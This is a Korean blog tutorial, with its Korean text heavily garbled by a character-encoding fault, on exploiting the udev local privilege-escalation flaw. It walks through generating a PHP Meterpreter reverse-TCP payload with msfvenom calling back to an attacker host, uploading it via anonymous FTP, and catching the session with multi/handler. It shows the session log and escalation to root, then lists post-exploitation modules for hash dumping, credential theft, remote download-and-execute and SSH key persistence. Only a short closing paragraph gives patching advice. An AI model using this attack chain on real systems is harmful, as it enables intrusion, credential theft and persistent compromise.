ν°μ€ν 리 λ·°
udev κ°μ
udevλ " Userspace Deviceμ μ½μλ‘ Linux νκ²½μμ 컀λμ μν μ₯μΉ κ΄λ¦¬μ μν μ ν©λλ€.
udevλ undeved / systemd-udevλΌλ μ΄λ¦μ λ°λͺ¬μΌλ‘ λμ ν μμ€ν μμ λλ°μ΄μ€ λ Έλλ₯Ό μμ±ν©λλ€. λλ°μ΄μ€κ° detect λλ©΄ sysfsμ λ±λ‘λκ³ ν΄λΉ λλ°μ΄μ€λ μ¬μ©μμ 곡κ°μμ /sysμ λ±λ‘λ©λλ€.
κ·Έλ€μ udev λ°λͺ¬μΌλ‘ Netlink Socketμ μ΄μ©νμ¬ μλ‘μ΄ λλ°μ΄μ€κ° μμ±λμλ€λ λ©μμ§λ₯Ό μ μ‘νλλ°, λ§μ½ Netlink λ©μμ§κ° 컀λ 곡κ°μμ μμλλμ§ μ¬λΆλ₯Ό νμΈνμ§ μμΌλ©΄ 곡격μλ λ³μ‘°λ Netlink λ©μμ§λ₯Ό μ μ‘νμ¬ μ΅μμ κΆν(root)μ νλν μ μκ² λ©λλ€.
컀λ(Kernal)μ΄λ
μ΄μ체μ μ ν΅μ¬μ μΈ λΆλΆμΌλ‘ μ΄μ체μ μ΄μΈμ μμ© νλ‘κ·Έλ¨ μνμ νμν μ¬λ¬ μλΉμ€λ₯Ό μ 곡ν©λλ€.
(1) Hardwareμ Processμ " 보μ "μ λ΄λΉ
(2) " μ€μΌμ€λ§ κΈ°λ₯ " μ¦ μμμ ν¨κ³Όμ μΌλ‘ κ΄λ¦¬νμ¬ μ¬λ¬ μμ© νλ‘κ·Έλ¨μ μ€νμ μννκ² λμ
(3) " μΆμν "λ₯Ό ν΅ν΄ 볡μ‘ν μ΄μ체μ μ λ΄λΆλ₯Ό κ°μΆκ³ κΉλνκ³ μΌκ΄λ Interfaceλ₯Ό 보μ¬μ€
μ·¨μ½ λ²μ
1.4.1 μ΄μ μ udev
msfvenom -p php/meterpreter/reverse_tcp LHOST=AttackerIP LPORT=μμν¬νΈ > /root/λ°ννλ©΄/νμΌλͺ μ§μ
msfvenomμ ν΅ν΄ php νμμ μλ°©ν₯ Exploit Payloadλ₯Ό μμ±νκ² μ΅λλ€.
FTPμ μ½κΈ°/μ°κΈ° κΆνμ΄ νμ©λ μ΅λͺ μλΉμ€μ μ κ·Όμ΄ κ°λ₯νλ€λ κ°μ νμ λ‘κ·ΈμΈνμ¬ " put " λͺ λ Ήμ ν΅ν΄ Payloadλ₯Ό μ λ‘λνκ² μ΅λλ€.
msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST AttackerIP
LHOST => AttackerIP
msf5 exploit(multi/handler) > set LPORT μμν¬νΈμ§μ
LPORT => μμν¬νΈμ§μ
msf5 exploit(multi/handler) > run
λμ μλ²μ μ λ‘λνμμΌλ νΈλ€λ¬λ₯Ό μ€ννμ¬ Session μ΄λ¦΄ λκΉμ§ κΈ°λ€λ €μΌ ν©λλ€. ν¬νΈ κ°μ κ²½μ°μλ msfvenomμμ μ§μ νλ ν¬νΈμ λμΌνκ² μ ν
μ¬μ©μ κ΄μ μμ attack.phpλ₯Ό νμΈνκ² λ κ²½μ° μ¬μ©μλ 곡격μμκ² μλ°©ν₯μΌλ‘ μΈμ μ μ°κ²°νλλ‘ μλν κ²μ΄λ©° 곡격μλ μ€νν΄λ νΈλ€λ¬ νμΌμ session 1 μ΄ opened λ κ²μ νμΈνκ³ μΆκ°μ μΈ post exploit μ μλν κ²μ λλ€.
μ¬μ©μκ° attack.php λ₯Ό ν΄λ¦νμλ 곡격μμ 컀맨λμ°½μλ session μ΄ ν립λμλ€λκ²μ νμΈν μ μμ
[*] Started reverse TCP handler on 192.168.0.132:8080
[*] Sending stage (38288 bytes) to 192.168.0.131
[*] Meterpreter session 1 opened (192.168.0.132:8080 -> 192.168.0.131:50949) at 2020-06-13 20:36:36 +0900
meterpreter shellμ ν΅ν΄ λμ μμ€ν μ 보λ₯Ό νμΈν΄λ³Έ κ²°κ³Ό μ μμ μΌλ‘ Access λ κ²μ νμΈν μ μμ΅λλ€.
νμ§λ§ μμ§ μ΅μμ κΆν(root) μ΄ μλκΈ°μ μ¬μ©μμ κ³μ λ° ν¨μ€μλ μ λ³΄κ° λ΄κΈ΄ shadow νμΌμλ μ κ·Όμ΄ λΆκ°λ₯ν©λλ€.
νμ§λ§ udev μ·¨μ½μ μ ν΅ν΄ νμ¬ λ‘컬μ κΆνμ μμΉνμ¬ λͺ¨λ κΆνμ κ°λλ‘ ν μ μμ΅λλ€.
background λͺ¨λλ‘ λμκ° udev μ·¨μ½μ μ μ΄μ©ν λͺ¨λμ μ¬μ©ν΄μ μ°κ²°νμλ session 1μ λμμΌλ‘ κΆνμμΉμ μλν΄μΌλ©λλ€.
μ μμ μΈ νλ‘μΈμ€ μν μ 보μ λλ€. PID κ° 2870 μΈ /sbin/udevd λ°λͺ¬μ΄ μ€ν μ€μ΄μ§λ§ κΆνμμΉ κ³΅κ²©μ΄ μμλ κ²½μ° νλ¨μ μ¬μ§μ²λΌ λ€λ₯Έ μ μ΄ λ³΄μ λλ€.
PIDκ° 2870 μ΄μλ /sbin/udeved κ° λΆλͺ¨ νλ‘μΈμ€(PPID)λ‘ νμ¬κΈ μ΅μμ κΆνμΌλ‘ λΆμ¬λ°μ μ€νλκ³ μλ κ²μ νμΈν μ μμ΅λλ€.
λν exploit payloadλ tmp κ²½λ‘μμ PPIDκ° 2870μΌλ‘ λΆμ¬λμλ νλ‘μΈμ€μ PIDλ₯Ό μ€ννκ³ μμ΅λλ€. λ³΄ν΅ UAC(User Access Control)μ μ°ν μ¦ " κ΄λ¦¬μ κΆν "μΌλ‘ ꡬλλκΈ° μν΄μμ λλ€.
κΆν μμΉμ μλ ν μμ€ν μ 보λ₯Ό λ€μ νμΈν΄ λ³Έ κ²°κ³Ό μ΄μ κ³Όλ λ€λ₯Έ μ λ³΄κ° λμΆλ κ²μ νμΈν μ μμ΅λλ€. λν exploit μ±κ³΅ ν μΆκ° 곡격μ μν΄, gather(hash, password, tocken λ±)νκ±°λ capture (Keylogging λ±λ±)λ₯Ό ν μ μμ΅λλ€.
<μ΄μΈμ μ¬μ©κ°λ₯ν λͺ λ Ήμ΄λ€>
run post/linux/gather/checkcontainer
run post/linux/gather/checkvm
run post/linux/gather/enum_commands
run post/linux/gather/enum_configs
run post/linux/gather/enum_network
run post/linux/gather/enum_protections
run post/linux/gather/enum_psk
run post/linux/gather/enum_system
run post/linux/gather/enum_users_history
run post/linux/gather/enum_xchat
run post/linux/gather/gnome_commander_creds
run post/linux/gather/gnome_keyring_dump
run post/linux/gather/hashdump
run post/linux/gather/mount_cifs_creds
run post/linux/gather/openvpn_credentials
run post/linux/gather/phpmyadmin_credsteal
run post/linux/gather/pptpd_chap_secrets
run post/linux/gather/tor_hiddenservices
run post/linux/manage/dns_spoofing
run post/linux/manage/download_exec
run post/linux/manage/iptables_removal
run post/linux/manage/pseudo_shell
run post/linux/manage/sshkey_persistence
λμλ°©μ
μμ€ν μ μΈ λλΆλΆμ κ²°ν¨λ€μ λκ² μνν κ²°κ³Όλ₯Ό μ΄λν κ°λ₯μ±μ΄ λκΈ° λλ¬Έμ μ΄μ μ€ λλ μ¬μ© μ€μΈ λ²μ μ λν΄ κ²½κ°μ¬μ κ°μ§κ³ μ΄μκ° μ‘΄μ¬νλ λ²μ μ μ¬μ©ν κ²½μ° μ¦κ° μ‘°μΉ(ν¨μΉ)λ₯Ό μ·¨ν μ μλλ‘ νλ κ²μ΄ μ’μ΅λλ€.
λν μλ‘μ΄ λ²μ μ΄ Release λμμ κ²½μ° μ΄λ ν λ²κ·Έκ° μμ λμλμ§ κ΄μ¬μ κ°μ§κ³ μμ μ νκ²½μ λ§κ² μ μ ν 보μ μμ€μ κ°μ§ μ μλλ‘ νλκ²μ΄ μ’μ΅λλ€.
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
ShellShock(CVE-2014-6271) μ·¨μ½μ (0) | 2020.10.23 |
---|---|
SNMP μ·¨μ½μ 곡격 (0) | 2020.10.22 |
SSL Strip μ·¨μ½μ (0) | 2020.10.21 |
XST(Cross Site Tracing) μ·¨μ½μ (0) | 2020.10.19 |
Open Redirect(μ€ν 리λ€μ΄λ νΈ) μ·¨μ½μ (0) | 2020.10.09 |